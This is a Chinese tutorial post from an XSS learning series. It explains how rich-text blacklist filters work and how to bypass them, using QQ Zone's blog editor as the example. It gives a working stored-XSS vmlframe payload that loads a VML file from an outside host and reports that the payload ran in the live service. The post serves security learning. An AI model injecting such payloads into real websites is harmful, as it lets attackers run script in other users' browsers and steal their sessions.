前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >那些年我们一起学XSS - 20. 存储型XSS入门 [套现绕过富文本]

那些年我们一起学XSS - 20. 存储型XSS入门 [套现绕过富文本]

作者头像
渗透攻击红队
发布2019-11-20 11:42:33
5790
发布2019-11-20 11:42:33
举报
文章被收录于专栏:漏洞知识库漏洞知识库
漏洞知识库

网络安全/渗透测试/代码审计/

关注

存储型XSS入门 [套现绕过富文本]

漏洞简介

很多应用含有富文本内容,这类应用最典型的特征是具有编辑器,例如:博客日志,邮箱等。这类应用往往允许使用一定的HTML代码。为了在用户体验和安全之间寻找平衡,各种厂商可能采用了不尽相同的办法。但是总体来说,有2类。
第1类我们称为白名单,即:只允许使用白名单内的合法HTML标签,例如IMG。其它均剔除。例如:百度贴吧回帖时候的代码过滤方式。
第2类我们称为黑名单,即:厂商会构建一个有危害的HTML标签、属性列表,然后通过分析用户提交的HTML代码,剔除其中有害的部分。如:QQ邮箱的发邮件时的过滤方式。
白名单要安全得多,而黑名单的方式则经常会被绕过。
绕过的技巧也有很多,我们可以从最没技术含量的开始说起!! 本节将以QQ空间/QQ校友的日志功能为例来说明,什么是“套现绕过富文本”!
注意:本节说的“套现”,不是与“钱”有关的;在这里的含义是:“套用现成的XSS代码”。

1. 新手平时测试XSS时,经常会用到<script>alert(1)</script>到处插入,看效果。 2. 这种做法,在某些反射型XSS,或者你运气好的时候,确实能碰到。但是如果拿到QQ空间日志里去插入。嗯,后果一定会很悲壮,被过滤的毛都没有了。。 3. 这是为什么呢?因为<script>在腾讯的黑名单中,被过滤是理所当然的。 4. 试想,如果我们找到一个不在腾讯黑名单中的XSS代码,岂不是就可以成功在日志里执行XSS了么? 5. 有的人会问了。。哪里去找啊?? 方法有2种: 5.1 你足够牛,自己去发现。 5.2 已经有大牛为我们准备了很好的资料,去里面翻。 6. 我不够牛,所以我只能去大牛的资料里翻咯。 这里我翻的是 @sogili 维护的 http://html5sec.org/ ,里面有很多哦

7. 然后我就开始按照下面的流程慢慢测试。 先进QQ空间,发表一个日志,然后编辑日志,同时抓包。

修改抓包内容后,这里修改的是日志内容。提交修改后的数据包! 然后我们来看看日志里的源代码里,我们提交的XSS代码是否被过滤。

8. 这里我们就不说失败的了,直接说成功的部分。 我们提交以下代码:

<vmlframe xmlns="urn:schemas-microsoft-com:vml" style="behavior:url(#default#vml);position:absolute;width:100%;height:100%" src="http://itsokla.duapp.com/shouzi.vml#xss"></vmlframe>

然后看看源代码的输出:

可以看到,这个XSS代码完全没过滤。 9. 我们可以看到XSS的效果。鼠标移到日志上,即会触发XSS代码。

10. 很简单,对吧?但是有以下问题我们要注意!! 10.1 使用代码前,先自己在本地试下,是否能执行!搞清楚你所使用的XSS代码的原理是什么! 10.2 搞清楚XSS代码的适用范围:如:在什么浏览器的什么版本之下才能使用,是否需要用户交互等。 10.3 注意平时对此类代码的搜集与整理。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档